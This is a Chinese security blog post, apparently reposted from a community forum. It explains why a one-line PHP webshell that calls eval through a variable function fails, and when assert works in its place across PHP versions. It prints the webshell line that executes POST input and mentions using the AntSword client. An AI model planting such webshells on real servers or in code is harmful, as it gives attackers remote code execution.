一句话木马踩坑记
2019-11-26 11:57:58 Author: mp.weixin.qq.com(查看原文) 阅读量:55 收藏

本文转自先知社区:

https://xz.aliyun.com/t/6511

前言

我太菜了,有学弟拿着一个一句话过来找我,说链接不上

<?php$a="eval";$a(@$_POST['a']);?>

最开始以为是版本的问题

然后开始踩坑了

测试

我自己用带毒的phpstudy测试了一下:

在php5的版本里面报错:

Fatal error: Call to undefined function eval() in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3

在php7里面报错:

Fatal error: Uncaught Error: Call to undefined function eval() in E:\software\PhpStudy\PHPTutorial\WWW\1.php:3 Stack trace: #0 {main} thrown in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3

请教了一个大佬:

我:<?php$a = "eval";$a(@$_POST['a']);?>这种木马 您能用吗大佬:咋不能用?大佬:一个简单的变形没看懂吗我:php的文档说 eval不是函数  大佬:本来就是语言构造器我:您测试成功了马大佬:你网上花钱找个师傅吧 我不提供问题解答哈我:哦 好吧大佬:Assert也是一样可以的,自己试

好尴尬啊,被大佬教育了一波,我太菜了,于是乎查了查文档,然后自己又测试了一下:

给了一个合理的解释:

eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用。

什么是可变函数呢:

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP     将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

可变函数不能用于例如     echo,print,unset(),isset(),empty(),include,require     以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

所以我在怀疑,有些大佬们都是照抄assert的变形方式没有测试过就放到博客上了就是说,如果换了assert,这个是可以用的

结论:

eval不能用,assert可以用。

深入

在php5的版本:

正常

继续测试一下assert

在php7.0的版本:

正常

在php7.1往后的版本:

Warning: Cannot call assert() with string argument dynamically in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3

网上搜索了一下:

assert()默认不在可以执行代码这就是众多马不能用的罪魁祸首了,太多的马用assert()来执行代码了,这个更新基本就团灭,一般情况下修改成eval即可正常运行了~

这样一看问题基本明晰了,然后又看了一眼文档

7.0.0     assert() is now a language construct and not a function. assertion() can now be an expression. The second parameter is now interpreted either as an exception (if a Throwable object is given), or as the description supported from PHP 5.4.8 onwards.

在php7里面 是语言构造器。

结论

eval不能用,php7.1之后assert()也不能用

最后说一下,蚁剑是可以用assert的,不过编码最后使用base64

后记

直接百度了一下:

还是有几个大佬写的有这种问题的。

最后可能是我认知上出现了问题,冒犯到大佬,还望见谅。

有不当之处,多多指正,感谢大佬们教我做人。

我还是太菜了。

相关链接:

https://www.php.net/manual/zh/functions.variable-functions.php

https://www.php.net/manual/zh/function.assert.php

http://www.vuln.cn/8395

https://www.xmsec.cc/few-security-changes-between-php-7-and-php-5/

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:[email protected]

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&amp;mid=2652852754&amp;idx=1&amp;sn=6c1bd33db380bb1218fd93beca7cae9f&amp;chksm=bd592edf8a2ea7c9949fdf120b553058a99b850f91c18fbbc6a4dea1c9406de9c9ea187534fa#rd
如有侵权请联系:admin#unsafe.sh